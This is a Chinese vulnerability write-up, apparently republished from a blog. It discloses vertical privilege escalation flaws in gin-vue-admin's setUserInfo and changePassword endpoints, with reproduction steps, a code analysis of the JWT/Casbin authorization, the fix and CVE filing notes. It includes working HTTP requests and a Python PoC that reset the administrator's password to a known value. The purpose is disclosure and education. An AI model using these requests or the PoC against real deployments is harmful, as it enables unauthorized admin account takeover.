垂直越权漏洞与代码分析
Posted kali_Ma
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了垂直越权漏洞与代码分析相关的知识，希望对你有一定的参考价值。
一、前言
文章写完了之后，申请CVE有一些麻烦，不过好在还是申请到了
ps 申请CVE前，已经提交了CNVD
【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线
二、环境搭建
按照官方教程
git clone https://github.com/flipped-aurora/gin-vue-admin.git
随后进入server目录
go generate
go build -o server main.go
随后直接运行server即可
随后是WEB，进入到web目录，输入
cnpm install || npm install
随后等待即可
随后安装完成会自动打开WEB网页
随后初始化设置数据库信息
配置好之后点击初始化后登录即可
三、漏洞复现
SetUserInfo存在垂直越权
1、SetUserInfo接口越权设置用户个人信息
我们直接来到用户管理页面，新增一个低权限的用户角色
可以看到上方并没有给到管理员的权限，接下来新建一个账号，分给这个角色组
漏洞发生的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go的第273行
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 string string ""success":true,"data":,"msg":"设置成功""
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context)
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil
response.FailWithMessage(err.Error(), c)
return
if err, ReqUser := userService.SetUserInfo(user); err != nil
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
else
response.OkWithDetailed(gin.H"userInfo": ReqUser, "设置成功", c)
这里没有对传入的ID进行校验，ID代表用户的，直接传入指定的ID就可以修改对应用户的个人信息
首先我们用管理员的X-token测试修改ID为1的用户的名称修改为test1，随后我们可以在后台中看到管理员的ID已经被修改为test1了
那么接下来，我们使用刚刚新建的UzJu_HxSecTeam账号的Token替换进去，将管理员用户名修改为test2
首先我们UzJu_HxSecTeam的账号个人信息>修改密码 这里随便修改密码，然后获取到账号Token
这个Token是低权限那个角色的，正常低权限的用户是不可以修改管理员的任何信息的
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0v**DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
我们将Token替换进去，构造如下Json数据
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
我们将Token替换到setUserinfo接口
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0v**DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
x-user-id: 1
Content-Length: 67
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
随后提示我们，设置成功
这是我们切换到管理员账号，查看是否被修改为test2
可以看到管理员用户成功被修改
2、SetUserInfo接口垂直越权无条件修改管理员密码
在Debug的时候发现，在越权设置个人信息的接口setUserInfo中不单单只能设置id, username, nickname,headimg，其实还可以传入password等参数
比如我们构造一个请求，将ID为1的用户名称设置为admin，昵称设置为超级用户管理员
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
此时管理员的密码已经被修改为了qwe@123，尝试登陆
随后成功登录
ChangPassword越权修改用户密码
PS: 这里有一个前提，需知道我想修改的那个人用户的密码才可以
首先我们知道默认的admin密码为123456，这个时候我们只需要构造Json数据，将Json数据中的username参数，修改为我们想越权修改的那个用户名即可
首先我们登录低权限的账号，修改一次密码
我们会抓到一个changePassword的请求，随后将这个请求放入Repeater
随后我们只需要将username这个参数修改为admin即可
随后会提示我们修改成功，然后我们使用新的密码来登录admin
随后成功登录
漏洞出现的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go，139行
// @Tags SysUser
// @Summary 用户修改密码
// @Security ApiKeyAuth
// @Produce application/json
// @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码"
// @Success 200 string string ""success":true,"data":,"msg":"修改成功""
// @Router /user/changePassword [post]
func (b *BaseApi) ChangePassword(c *gin.Context)
var user systemReq.ChangePasswordStruct
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil
response.FailWithMessage(err.Error(), c)
return
u := &system.SysUserUsername: user.Username, Password: user.Password
if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil
global.GVA_LOG.Error("修改失败!", zap.Error(err))
response.FailWithMessage("修改失败，原密码与当前账户不符", c)
else
response.OkWithMessage("修改成功", c)
这里有一个争议，就是既然都知道了别人的账号密码，直接登录他的账号不就可以了吗，确实是这样的，但是我们这里的程序逻辑流程是，我们已经鉴权完毕了，正常来说我当前用户也只能修改当前用户的一个密码，可是这里可以通过修改ID来修改别人的，换个角度想也是暴力破解了可以，因为登录页面是有验证码校验的。
四、漏洞原理分析
ps: 以下所有内容出自一个完全没学过Go的，也没做过开发的，只会Python的脚本小子的理解
首先从正常的业务逻辑来看这里为什么会造成越权，其实原理比较简单，主要是因为，我们在新建角色权限的时候，有几个必选的参数，也就是这几个参数，选了之后，用户才有机会越权（但是也不能不选，因为这是默认的必选参数），其实最终还是在代码上存在逻辑问题。
首先我们看，在新建完角色之后，查看角色的权限
可以看到，默认新建的用户权限，在角色菜单中，只有一个可以访问仪表盘的权限，但是我们查看角色的API权限就会发现
这里有几个必选的权限
-
用户注册
-
设置用户信息
-
获取自身信息
-
修改密码
-
修改用户角色
这也是这一次漏洞的来源，首先是设置用户信息，如果我们取消勾选
然后我们将低权限角色组的账号Token放进Burp进行尝试
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""
可以很清楚的看到，目前我们已经没有权限来设置这些用户信息了，而且在Go的Debug页面我们也很容易发现，代码逻辑，比如我们现在是没有权限进行设置用户信息的，但是在代码中理论来说，我访问了这个接口，我Debug的断点应该是可以拦截的，但是如下图，我下断点之后，程序居然没有停止
从这里就能判断，在此操作之前，应该是有一个鉴权操作（常见的应该是rbac吧）那么我们现在给低权限角色组设置用户的权限，我们再进行重放看看
我们可以看到，程序成功停止在了这里，那么我想(go小白)应该可以通过Debug的方式，来找到这里的鉴权：）
首先Mac下command键鼠标左键来找哪里调用了这个函数
然后可以看到这里有一个初始化用户路由的一个函数InitUserRouter
那么继续老办法，Command+鼠标左键来判断哪里调用了InitUserRoute
这里注意，有一个JWTAuth()还有一个middleware.CasbinHandler()
首先我们先来看middleware.JWTAuth()，还是老方法Command+鼠标左键
然后来到一个jwt.go，这里的逻辑我们可以看一下（当然也感谢作者写了一些注释)
go中token:=应该是相当于定义一个变量来接收请求中的header中的x-token，首先就是判断token是不是为空，如果为空的话直接返回用户未登录或非法访问
随后就是判断用户的token是否在黑名单里面，这里应该是通过缓存或者用户退出的时候来判断，这个token是不是已经失效了吧，如果失效了就会返回告诉用户异地登录或令牌失效了
这里首先传给ParseToken这个函数来解析Token，可以跟过去看一下
不懂jwt.ParseWithClaims是啥。。。传统艺能，google.com
这里是用来JWT加解密的，然后返回一个SigningKey，然后继续往下走
感谢作者的指点：此处将传入的jwt token串进行解析，获得jwt.Token结构体，然后从结构体解析出Claims获取之前我们生成token时挂载在上面的用户信息。
通过Google知道了ValidationErrorMalformed用来判断是否是错误的token，然后再通过ValidationErrorExpired来判断是否已过期，然后再通过ValidationErrorNotValidYet判断token是否激活，然后就是返回了。虽然下面还有一段代码
随后判断token是否过期，如果没有过期，则走到了reload，随后我们来到middleware.CasbinHandler()
首先进入到utils.GetClaims并且传入一个参数
这里函数用来获取x-token随后解析该token来判断是否过期等
随后判断用户的角色，这里的1234，也就是我们web设置的角色组ID
随后进入casbinService.Casbin()，传统艺能，直接百度
跟之前猜想的差不多，rbac权限控制，这里是连接数据库，然后这里F7单步步入看了一下，劝退了，看不懂
看注释可以判断，这里用来判断权限
机翻： Enforce decides whether a “subject” can access a “object” with the operation “action”, input parameters are usually: (sub, obj, act).强制决定“subject”是否可以通过操作“action”访问“object”，输入参数通常是:(sub, obj, act)。
随后判断是否在开发环境，然后success等于false，这里|| 或者的意思，要么成功，要么提示权限不足
我们来看看有权限后，越权的setuserinfo接口是怎么走的，首先我们在拦截器这个地方下一个断点
Tips: 通过百度发现这里用的是golang的casbin访问控制框架
然后在setuserinfo这里也下一个断点
因为拦截器在程序逻辑中在setuserinfo前面，所以我们从拦截器开始调
burp发送请求之后，一直等待，此时我们单步调试看看
此时我们的角色组为1234
随后是连接数据库，再之后就是检查权限
这里返回了一个true，说明权限存在，随后就是判断是否为开发环境或者success等于true了，这里肯定会经过第一个if，
随后就来到了setuserinfo接口
shouldBindJson 绑定了Json参数
随后这里，应该是用来判断传入的Json参数是否正确
下面直接直接将userid代入了进去
这里的ID是我们前端传入的，可以任意修改，所以就导致了越权
随后代入到数据库之后，更新后返回
随后则是更新成功
主要的鉴权操作都在cashbin.rbac.go这个文件中的CasbinHandler函数，中的casbinService.Casbin()和e.Enforce(sub, obj, act)
我对这里的越权理解是，如果给了设置用户信息的权限，那么默认这个用户在权限规则中就可以修改用户信息，然后在修改的时候，替换成别人的ID即可修改为别人的
到这里可以明白了，首先鉴权判断的是AuthorityId，来判断用户是否有权限操作某个接口
但是在setuserinfo使用的ID却是用户的账号ID
所以就导致了越权，因为这个ID可以前端传入的时候可以控制，并且也已经鉴权之后了，在与作者沟通之后，解释说修复也比较简单，只需要将user.id强制赋值为JWT所对应的权限ID即可，这样就不会造成越权了，因为前端怎么传入，最终在代码中还是有一行会将user.id的值修改为当前JWT所对应的id
但是在业务流程逻辑中，这些权限又是必须给的，因为不给的话，当前用户是没有办法修改自己的信息的
五、POC编写
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project ：UzJuSecurityTools
@File ：Gin-Vue-Admin-Poc.py
@Author ：UzJu
@Date ：2021/12/31 11:20
@Email ：UzJuer@163.com
'''
import requests
import json
import sys
class GinVueAdminPoc:
def __init__(self, url, token):
self.url = url
self.jwt_token = token
'''
define vuln interface
'''
# Method PUT Severity High
self.setUserInfo = "/api/user/setUserInfo"
# Method POST Severity Moderate
self.changePassword = "/api/user/changePassword"
def checkVuln(self):
'''
因为默认管理员的用户ID为1，所以，这里直接修改ID为1的用户账号为admin，密码为qwe@123
在实际使用中，可以通过遍历ID，来判断哪个ID用户存在，不过默认用户在实战中应该都是存在的
The default user ID of the administrator is 1\\. Therefore, change the account of user 1 to admin and the password to qwe@123
In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
'''
payload_data =
"id": 1,
"username": "admin",
"nickName": "超级管理员",
"Password": "qwe@123"
# Change the administrator password to qwe@123, because the default administrator ID is 1
headers =
"x-token": self.jwt_token
result = requests.put(url=self.url + self.setUserInfo,
headers=headers,
data=json.dumps(payload_data)
)
if json.loads(result.content)['code'] == 7:
print("[-]Modify the failure")
elif json.loads(result.content)['code'] == 0:
print(f"[+]Modify the success, Account: payload_data['username'], password: payload_data['Password']")
def check_interface_ChangePassword(self):
'''
wait
'''
pass
if __name__ == '__main__':
try:
Banner_2 = '''
/$$ /$$ /$$$$$
| $$ | $$ |__ $$
| $$ | $$ /$$$$$$$$ | $$ /$$ /$$
| $$ | $$|____ /$$/ | $$| $$ | $$
| $$ | $$ /$$$$/ /$$ | $$| $$ | $$
| $$ | $$ /$$__/ | $$ | $$| $$ | $$
| $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/
\\______/ |________/ \\______/ \\______/
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
print(Banner_2)
url = sys.argv[1]
jwt_token = sys.argv[2]
main = GinVueAdminPoc(url, jwt_token)
main.checkVuln()
except:
print("[-]please input url and token")
为什么check_interface_ChangePassword这个方法没写是因为，这里算是一个暴力破解的一个接口，因为在修改任意用户的密码之前，必须知道需要修改的那个账号的密码，这就像是暴力破解，所以这里并没有写，然后就是checkvuln这个方法，payload_data这个json数据中的id，其实可以任意更改的，也可以写成for循环进行遍历，因为在实际环境中并不确定管理员的ID是否为1，或者说存在恶意破坏的话，也可以造成一定的影响。
六、CVE申请
CNVD的就不用说了吧，肯定也已经提交了，这里申请CVE的。GitHub代申请编号来的特别快，基本上最多3天，这里是当天提交的次日凌晨就收到了CVE的预分配编号以下操作需要联系作者帮你操作，不然没有New Draft security advisory这个按钮
Description写上漏洞的内容，复现过程，POC就行，然后点击create draft security advisory
由于当时我们是第一次申请这个，犯了一个错误，只列出了一个草稿，并没有请求，导致我们白白等了7天
写完了一定要拉到下面，去点击request cve id
以上是关于垂直越权漏洞与代码分析的主要内容，如果未能解决你的问题，请参考以下文章
19-PHP代码审计——jizhicms逻辑漏洞分析（由越权引发的sql注入）